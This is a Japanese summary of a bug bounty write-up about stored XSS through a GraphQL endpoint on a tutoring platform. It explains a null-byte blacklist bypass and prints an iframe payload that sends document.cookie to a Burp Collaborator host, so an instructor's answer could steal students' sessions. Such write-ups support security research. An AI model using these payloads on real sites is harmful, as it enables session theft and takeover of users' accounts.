Hello there, ('ω')ノ
割り当ての作成:GraphQLエンドポイントを介して保存されたXSSを。
脆弱性:
保存されたXSS
GraphQLのバグ
記事:
https://infosecwriteups.com/pwning-your-assignments-stored-xss-via-graphql-endpoint-6dd36c8a19d5
大学の友人と話をした個別指導機能には、直接アクセスできなかったので。
その特定の機能を調べてみると、次のことがわかって。
アカウント登録が必要で。
私が学生を助けるテストに合格することが必要で。
政府のID証明を提出してから確認まで2週間待つ必要があって。
なので、この機能にアクセスするのはかなり難しいと思い。
多くの人はおそらくアプリケーションにそれほど深くかかわろうとしなかったかと。
よって、コンピュータサイエンスの個別指導に申し込み、テストに合格すると。
学生の宿題を手伝うオプションがあって。
ここで確認することにしたバグの種類は、CSRF、IDOR、XSSで。
CSRFは、すべてのリクエストに多数のチェックが存在するので失敗して。
IDORは、UUIDv4が適切に使用されているため実用的ではなくて。
そこでXSSを。
学生の質問に答えていると、“、>は許可されたものの。
script、iframe、alertなどのキーワードは答えからサニタイズされていて。
Web Application Hacker's Handbookを調べたところ。
「>」の前に%00(ヌルバイト)を追加しても。
サニタイズされないことがわかったので。
下記のペイロードを作成して。
<iframe %00 src=\"javascript:prompt(1)\"%00>
ブラックリストをバイパスするには%00を。
そして、GraphQL入力フィールド内に\”の二重引用符を渡すと。
上記のペイロードは、下記のようソースコードに反映されて。
prompt()で、クッキーを受け取ることができて。
攻撃シナリオ/最終的なエクスプロイト:
学生が質問を投げかけると。
⇩
インストラクターはブラインドXSSペイロードで回答を送信して。
⇩
生徒が答えを確認するとすぐに、彼のクッキーがインストラクターに渡されて。
したがって、インストラクターが学生を支援するたびに。
学生のアカウントを引き継ぐことができるわけで。
ペイロード:
<iframe %00 src= javascript:fetch(\"//XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net/?param=\"+document.cookie) %00>
fetch()を使用すると、XMLHttpRequest(XHR)と同様の。
ネットワークリクエストを作成でて。
/?param=は、ドメインの一部にならないように追加されて。
すぐに学生の質問に答えて。
ソリューションの最後に上記のペイロードを追加すると。
生徒は、答えと出来上がりを確認したので。
生徒のクッキーを取得できて。
Best regards, (^^ゞ